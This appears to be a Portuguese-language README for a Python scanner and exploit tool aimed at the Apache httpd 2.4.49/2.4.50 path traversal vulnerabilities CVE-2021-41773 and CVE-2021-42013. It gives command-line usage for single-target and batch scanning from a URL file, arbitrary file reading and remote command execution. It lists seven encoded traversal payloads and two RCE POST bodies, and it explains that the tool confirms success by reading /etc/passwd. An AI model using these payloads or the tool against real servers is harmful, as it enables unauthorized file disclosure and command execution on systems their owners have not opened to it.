
apache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)
Em 20211005, foi divulgado online a vulnerabilidade de path traversal no apache httpd 2.4.49 (cve-2021-41773), que pode causar leitura arbitrária de arquivos (se o diretório atravessado permitir acesso, como configurado com <Directory />Require all granted</Directory>, por padrão não permitido) ou execução remota de comandos (RCE requer CGI habilitado, módulo CGI não incluído por padrão).
Em 20211008, surgiu a vulnerabilidade de path traversal no 2.4.50 (cve-2021-42013), que contornou a correção do cve-2021-41773.
Detalhes da vulnerabilidade: Análise e reprodução da path traversal no apache httpd 2.4.49/2.4.50
Executar com python3
Ajuda de uso: python3 apache-httpd-path-traversal.py -h

Teste de URL única: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


Teste em lote: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

Leitura de arquivo: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

Execução de comando: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

Usa urllib.request para enviar pacotes HTTP.
A verificação da existência da vulnerabilidade é feita lendo /etc/passwd e verificando se os dados retornados contêm a string "root:" (pois a maioria é Linux, ignorando temporariamente a detecção no Windows).
Multithreading, com opção de timeout para aumentar a eficiência.
Diretório existente opcional (--cdir) e shell para RCE (--rceshell) para fornecer flexibilidade.
Durante a verificação, usa uma lista de diretórios comuns para aumentar a taxa de acerto. commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
Nota: Às vezes, a leitura de arquivo utiliza o diretório icons, enquanto o RCE precisa do diretório cgi-bin. Analise caso a caso.
Utiliza 7 PoCs e 2 formatos de dados POST para RCE:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#dados rce rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
//O método POST do RCE também parece funcionar com GET. //O payload precisa ser ajustado conforme a profundidade dos diretórios alvo no Apache, geralmente 4 camadas são suficientes. //É necessário um diretório existente no Apache, como icons/ ou cgi-bin/.
gmail:[email protected]